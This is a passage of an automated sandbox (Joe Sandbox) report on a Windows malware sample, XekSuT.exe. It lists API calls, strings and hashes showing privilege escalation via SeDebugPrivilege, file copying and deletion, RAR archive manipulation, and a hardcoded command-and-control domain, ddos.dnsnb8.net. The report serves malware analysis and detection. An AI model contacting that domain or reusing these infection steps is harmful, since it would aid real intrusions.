FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 003C201E
memset.MSVCRT ref: 003C20D8
memset.MSVCRT ref: 003C20EA
memcpy.MSVCRT(?,?,00000028,?,?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C2238
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C22C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C22CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C22DD
WriteFile.KERNEL32(000000FF,003C4008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C22F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 003C2322
UnmapViewOfFile.KERNEL32(?,?,003C32B0,00000164,003C2986,?), ref: 003C2340
CloseHandle.KERNEL32(?,?,003C32B0,00000164,003C2986,?), ref: 003C234E
CloseHandle.KERNEL32(000000FF,?,003C32B0,00000164,003C2986,?), ref: 003C2359

Strings

5@<, xrefs: 003C2282
.@<, xrefs: 003C2274
m@<, xrefs: 003C1E8F, 003C225A
C@<, xrefs: 003C229E
<@<, xrefs: 003C2290

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$CloseHandleView$Pointer$CreateUnmapWritememset$AttributesFlushMappingmemcpy
String ID: .@<$5@<$<@<$C@<$m@<
API String ID: 3043204753-572888031
Opcode ID: fcc5dbd23ea996420a79f068dc3c42d4282c5d6a03c705eec8f19165649a05cf
Instruction ID: 441f02c0f2423a8c4ceb9ed5c5edb0398dc4c658029ee33becba7b0afd4a8a38
Opcode Fuzzy Hash: fcc5dbd23ea996420a79f068dc3c42d4282c5d6a03c705eec8f19165649a05cf
Instruction Fuzzy Hash: 1FF12875900218AFCB22DFA4D885EAEBBB5FF08314F10852EE50AEB661D730AD51CF54

Function 003C1973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(\N<`N<,00000000,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C1992
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 003C19BA
Sleep.KERNEL32(00000064), ref: 003C19C6
wsprintfA.USER32 ref: 003C19EC
CopyFileA.KERNEL32(?,?,00000000), ref: 003C1A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003C1A1E
GetFileSize.KERNEL32(?,00000000), ref: 003C1A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 003C1A46
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 003C1A65
CloseHandle.KERNEL32(000000FF), ref: 003C1A90
DeleteFileA.KERNEL32(?), ref: 003C1AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 003C1AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 003C19DB
C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C197C
\N<`N<, xrefs: 003C1980
%s%.8X.data, xrefs: 003C19E6

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$CreateVirtual$AllocCloseCopyDeleteExistsFreeHandlePathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XekSuT.exe$\N<`N<
API String ID: 716042067-2382788371
Opcode ID: 49e32dd09ef4940f743bf950e07731fe0d7d062bc0c454f80c6d0ee41cfe0e7f
Instruction ID: ffcae3967c11e4d1c196c111dd6c44d68304c92bffb2c811937a0f9c65e5269b
Opcode Fuzzy Hash: 49e32dd09ef4940f743bf950e07731fe0d7d062bc0c454f80c6d0ee41cfe0e7f
Instruction Fuzzy Hash: 8F518C76900219EFDB229FA8CC84EAEBBBCFB06354F10456DF516E6191C3709E40DBA0

Function 003C28B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003C28D3
wsprintfA.USER32 ref: 003C28F7
memset.MSVCRT ref: 003C2925
wsprintfA.USER32 ref: 003C2940

Part of subcall function 003C29E2: memset.MSVCRT ref: 003C2A02
Part of subcall function 003C29E2: wsprintfA.USER32 ref: 003C2A1A
Part of subcall function 003C29E2: memset.MSVCRT ref: 003C2A44
Part of subcall function 003C29E2: lstrlen.KERNEL32(?), ref: 003C2A54
Part of subcall function 003C29E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 003C2A6C
Part of subcall function 003C29E2: strrchr.MSVCRT ref: 003C2A7C
Part of subcall function 003C29E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 003C2A9F
Part of subcall function 003C29E2: lstrlen.KERNEL32(Documents and Settings), ref: 003C2AAE
Part of subcall function 003C29E2: memset.MSVCRT ref: 003C2AC6
Part of subcall function 003C29E2: memset.MSVCRT ref: 003C2ADA
Part of subcall function 003C29E2: FindFirstFileA.KERNEL32(?,?), ref: 003C2AEF
Part of subcall function 003C29E2: memset.MSVCRT ref: 003C2B13

strrchr.MSVCRT ref: 003C2959
lstrcmpiA.KERNEL32(00000001,exe), ref: 003C2974

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 003C29B3
exe, xrefs: 003C296D
rar, xrefs: 003C2988
%s\, xrefs: 003C293A
%s%s, xrefs: 003C28F1

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-3007274656
Opcode ID: ac7731c78733de249e3117d5fc4aa09da67d9c5b5b88d8a1847f10e983c3cc0a
Instruction ID: 268be7f06f6f55d686bd06d44ce1876c6ed750d19c284def6d29b9bdb3f7f90c
Opcode Fuzzy Hash: ac7731c78733de249e3117d5fc4aa09da67d9c5b5b88d8a1847f10e983c3cc0a
Instruction Fuzzy Hash: B231F47690031C7BDB22ABA4DC89FCB376CAF11310F05485AF585E6080E7B4EED48BA0

Function 003C1638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 003C164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 003C165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\XekSuT.exe,00000104), ref: 003C166E
CreateThread.KERNEL32(00000000,00000000,003C1099,00000000,00000000,00000000), ref: 003C16AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 003C16BD

Part of subcall function 003C139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C13BC
Part of subcall function 003C139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 003C13DA
Part of subcall function 003C139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 003C1448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C16E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 003C1644
C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C1662, 003C1667, 003C16DD
Documents and Settings, xrefs: 003C1696
C:\Windows\system32, xrefs: 003C1656

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: CreateCurrentDirectoryFileLookupModuleNameObjectPathPrivilegeProcessSingleSystemTempThreadValueVersionWaitlstrcpy
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XekSuT.exe$C:\Windows\system32$Documents and Settings
API String ID: 123563730-3137646543
Opcode ID: f521d40fe576735e0893b3970191a1ebc7bcc436cac9cb39ba913cb7b8a055e6
Instruction ID: d6c56e060305aa484897a39ba92f621994c25277864edc337473c06e0de59bbe
Opcode Fuzzy Hash: f521d40fe576735e0893b3970191a1ebc7bcc436cac9cb39ba913cb7b8a055e6
Instruction Fuzzy Hash: 9011D073500224BBCB236BA0AD4EFEB3E6DEB03361F004018F20AD50A2C6719D50EBA1

Function 003C1000 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000003,C0000000,00000003,00000000,00000003,00000080,00000000,HG<,http://%s:%d/%s/%s,003C10E8,?), ref: 003C1018
GetFileSize.KERNEL32(00000000,00000000,ddos.dnsnb8.net,75BF8400), ref: 003C1029
CreateFileMappingA.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 003C1038
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 003C104B
UnmapViewOfFile.KERNEL32(00000000), ref: 003C1075
CloseHandle.KERNEL32(?), ref: 003C108B
CloseHandle.KERNEL32(00000000), ref: 003C108E

Strings

HG<, xrefs: 003C1001
http://%s:%d/%s/%s, xrefs: 003C1000
ddos.dnsnb8.net, xrefs: 003C1026

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$CloseCreateHandleView$MappingSizeUnmap
String ID: HG<$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1223616889-3593622639
Opcode ID: b6b3ad7f86a71f7b7c4934247a963e9c3d4b07f1274ac140bc2e82cc9a8d9f46
Instruction ID: b901b843380179819b99d04d24cf0600fa7b6a028d6af4d23a75f688dd9b0caa
Opcode Fuzzy Hash: b6b3ad7f86a71f7b7c4934247a963e9c3d4b07f1274ac140bc2e82cc9a8d9f46
Instruction Fuzzy Hash: E9019BB210036CBFE7316F609C88F2B7BACEB44799F014529F245E2091D6706E449B71

Function 003C2C48 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003C2C57

Part of subcall function 003C1973: PathFileExistsA.SHLWAPI(\N<`N<,00000000,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C1992
Part of subcall function 003C1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 003C19BA
Part of subcall function 003C1973: Sleep.KERNEL32(00000064), ref: 003C19C6
Part of subcall function 003C1973: wsprintfA.USER32 ref: 003C19EC
Part of subcall function 003C1973: CopyFileA.KERNEL32(?,?,00000000), ref: 003C1A00
Part of subcall function 003C1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003C1A1E
Part of subcall function 003C1973: GetFileSize.KERNEL32(?,00000000), ref: 003C1A2C
Part of subcall function 003C1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 003C1A46
Part of subcall function 003C1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 003C1A65

CreateThread.KERNEL32(00000000,00000000,Function_00002B8C,00000000,00000000,00000000), ref: 003C2C99
WaitForMultipleObjects.KERNEL32(00000001,003C16BA,00000001,000000FF,?,003C16BA,00000000), ref: 003C2CAC
VirtualFree.KERNEL32(013A0000,00000000,00008000,C:\Users\user\AppData\Local\Temp\XekSuT.exe,003C4E5C,003C4E60,?,003C16BA,00000000), ref: 003C2CC2

Strings

C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C2C69

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$Create$Virtual$AllocCopyExistsFreeMultipleObjectsPathReadSizeSleepThreadWaitmemsetwsprintf
String ID: C:\Users\user\AppData\Local\Temp\XekSuT.exe
API String ID: 2042498389-472551747
Opcode ID: d49a49f8d785bc09b0cbf0b4d2830d282d7de241ae7472f9c8e2b7b9f98605ec
Instruction ID: 5704da6535dc017d361bed997a7f9d634971eb5aba8d880974a074fce6d7bf37
Opcode Fuzzy Hash: d49a49f8d785bc09b0cbf0b4d2830d282d7de241ae7472f9c8e2b7b9f98605ec
Instruction Fuzzy Hash: 9C018F726412247AD712ABA59C5AFEF7E6CEF01B60F118119F905D61C1DAA0AE40C7E0

Function 003C14E1 Relevance: 4.6, APIs: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 003C1504
VirtualQuery.KERNEL32(003C14E1,?,0000001C), ref: 003C1525
ExitProcess.KERNEL32 ref: 003C157A

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: ExitHandleModuleProcessQueryVirtual
String ID:
API String ID: 3946701194-0
Opcode ID: ef30796cc0a4834d2dc71aa77b9fc9577f356b194cad039f36d264b2a740cf1c
Instruction ID: 24414804646e0a779751f4b66de769b9e8cfd7db77386f45ff74ccc13b5cb305
Opcode Fuzzy Hash: ef30796cc0a4834d2dc71aa77b9fc9577f356b194cad039f36d264b2a740cf1c
Instruction Fuzzy Hash: 79115172900214DFCB13EF65A898F7977BCEB86711F11402EF403D6262D230AD41BB90

Function 003C1915 Relevance: 4.5, APIs: 3, Instructions: 41
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 003C1933
GetFileTime.KERNEL32(000000FF,?,?,?), ref: 003C1947

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: FileTimememset
String ID:
API String ID: 176422537-0
Opcode ID: 5bc7f1a06c99814d281421db399a5c592e2ab2388903f37030b47968d97ce067
Instruction ID: 40c867de423dcdbe0f336e64c570ff2c779afa1bf35a8100f885a6a91b89933f
Opcode Fuzzy Hash: 5bc7f1a06c99814d281421db399a5c592e2ab2388903f37030b47968d97ce067
Instruction Fuzzy Hash: 8DF04F32200209ABDB629E26DC04FAB77ACAB51761F01853EF516D5491E730EA49ABE0

Function 003C6158 Relevance: 2.6, APIs: 2, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 003C60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 003C6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 003C61A5

Memory Dump Source

Source File: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID:
API String ID: 1852963964-0
Opcode ID: 48ba39f76e1a590c558f6182c4e46f6470678108b7c66a1ec93a7b1812be8fd1
Instruction ID: 462e4e8892b64bd51e057223b5ad1234bf9ffa50357326fe54c364a209020eed
Opcode Fuzzy Hash: 48ba39f76e1a590c558f6182c4e46f6470678108b7c66a1ec93a7b1812be8fd1
Instruction Fuzzy Hash: 61215E31604659CFCF328F58CC92BED37A2EF45301F6A481DDE899B291DA716D40CB94

Non-executed Functions

Function 003C119F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\XekSuT.exe,?,?,?,?,?,?,003C13EF), ref: 003C11AB
OpenProcessToken.ADVAPI32(00000000,00000028,003C13EF,?,?,?,?,?,?,003C13EF), ref: 003C11BB
AdjustTokenPrivileges.ADVAPI32(003C13EF,00000000,?,00000010,00000000,00000000), ref: 003C11EB
CloseHandle.KERNEL32(003C13EF), ref: 003C11FA
CloseHandle.KERNEL32(?,?,?,?,?,?,?,003C13EF), ref: 003C1203

Strings

C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C11A5

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentOpenPrivileges
String ID: C:\Users\user\AppData\Local\Temp\XekSuT.exe
API String ID: 75692138-472551747
Opcode ID: 64821afccfc2a58261b49766948be89fd5facda2b613e0999f5827eb70016f76
Instruction ID: 9d076224f8d0be878fd9a1dcf5b3ccd7fee5d45c06eab28bdb0ce571f78ee1d9
Opcode Fuzzy Hash: 64821afccfc2a58261b49766948be89fd5facda2b613e0999f5827eb70016f76
Instruction Fuzzy Hash: 9A01E4B6900219EFDB01EFE4CD89EAEBBBCFB04305F108469E606E2251D771AF449B50

Function 003C139F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C13BC
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 003C13DA
GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 003C1448

Part of subcall function 003C119F: GetCurrentProcess.KERNEL32(C:\Users\user\AppData\Local\Temp\XekSuT.exe,?,?,?,?,?,?,003C13EF), ref: 003C11AB
Part of subcall function 003C119F: OpenProcessToken.ADVAPI32(00000000,00000028,003C13EF,?,?,?,?,?,?,003C13EF), ref: 003C11BB
Part of subcall function 003C119F: AdjustTokenPrivileges.ADVAPI32(003C13EF,00000000,?,00000010,00000000,00000000), ref: 003C11EB
Part of subcall function 003C119F: CloseHandle.KERNEL32(003C13EF), ref: 003C11FA
Part of subcall function 003C119F: CloseHandle.KERNEL32(?,?,?,?,?,?,?,003C13EF), ref: 003C1203

Strings

C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C13A8
SeDebugPrivilege, xrefs: 003C13D3

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Process$CloseCurrentHandleToken$AdjustLookupOpenPrivilegePrivilegesValueVersion
String ID: C:\Users\user\AppData\Local\Temp\XekSuT.exe$SeDebugPrivilege
API String ID: 4123949106-1840906038
Opcode ID: 555b2cb1baee76b3f8effd19e7130dc1d91bfff2b79c855c48c94673720e4c84
Instruction ID: 91a15fa36829aae6b4061a2bb48806baabcb3d4d4c4cf17d94c64a5aa0a1d9cd
Opcode Fuzzy Hash: 555b2cb1baee76b3f8effd19e7130dc1d91bfff2b79c855c48c94673720e4c84
Instruction Fuzzy Hash: 9B316175D00209EADF62EBA6CC45FEEBBB8EB46704F21806DE505F6142D7309E45DB60

Function 003C6D00 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction ID: 8fd2c50f406498a3e98adc455e2f98ba68ecac42621e76a25debc93089c571a9
Opcode Fuzzy Hash: 1dc641a110ca9df19878faaf737841f865a9904d38a7bb4b8f4adfe9b60eb3df
Instruction Fuzzy Hash: 2081AF71214B418FC729CF29C891AAABBE2EFD5314F148A2DD0EAC7755DB34E809CB44

Function 003C239D Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 239sleepfilestringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 003C23CC
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 003C2464
GetFileSize.KERNEL32(00000000,00000000), ref: 003C2472
CloseHandle.KERNEL32(?,00000000,00000000), ref: 003C24A8
memset.MSVCRT ref: 003C24B9
strrchr.MSVCRT ref: 003C24C9
wsprintfA.USER32 ref: 003C24DE
strrchr.MSVCRT ref: 003C24ED
memset.MSVCRT ref: 003C24F2
memset.MSVCRT ref: 003C2505
wsprintfA.USER32 ref: 003C2524
Sleep.KERNEL32(000007D0), ref: 003C2535
Sleep.KERNEL32(000007D0), ref: 003C255D
memset.MSVCRT ref: 003C256E
wsprintfA.USER32 ref: 003C2585
memset.MSVCRT ref: 003C25A6
wsprintfA.USER32 ref: 003C25CA
Sleep.KERNEL32(000007D0), ref: 003C25D0
Sleep.KERNEL32(000007D0,?,?), ref: 003C25E5
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 003C25FC
CloseHandle.KERNEL32(00000000,00000000,00000001), ref: 003C2611
SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,00000000), ref: 003C2642
WriteFile.KERNEL32(?,00000006,?,00000000), ref: 003C265B
SetEndOfFile.KERNEL32 ref: 003C266D
CloseHandle.KERNEL32(00000000), ref: 003C2676
RemoveDirectoryA.KERNEL32(?), ref: 003C2681

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 003C23B1, 003C23B6, 003C24CD
%s X -ibck "%s" "%s\", xrefs: 003C251E
%s\, xrefs: 003C257F
%s M %s -r -o+ -ep1 "%s" "%s\*", xrefs: 003C25C4
%s%s, xrefs: 003C24D8
-ibck, xrefs: 003C25BA

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$memset$Sleepwsprintf$CloseHandle$Createstrrchr$DirectoryPointerRemoveSizeWritestrstr
String ID: %s M %s -r -o+ -ep1 "%s" "%s\*"$%s X -ibck "%s" "%s\"$%s%s$%s\$-ibck$C:\Users\user\AppData\Local\Temp\
API String ID: 2203340711-2169341206
Opcode ID: 3b8aceb604e7527aa5752af45c8fe1480ab38d5594d8169adad988536c9ccb64
Instruction ID: 8e7a513e4b7698e9fe71a09dd0f4042b40a50bb4d63e4e4aa5cc8511b4c1f4e5
Opcode Fuzzy Hash: 3b8aceb604e7527aa5752af45c8fe1480ab38d5594d8169adad988536c9ccb64
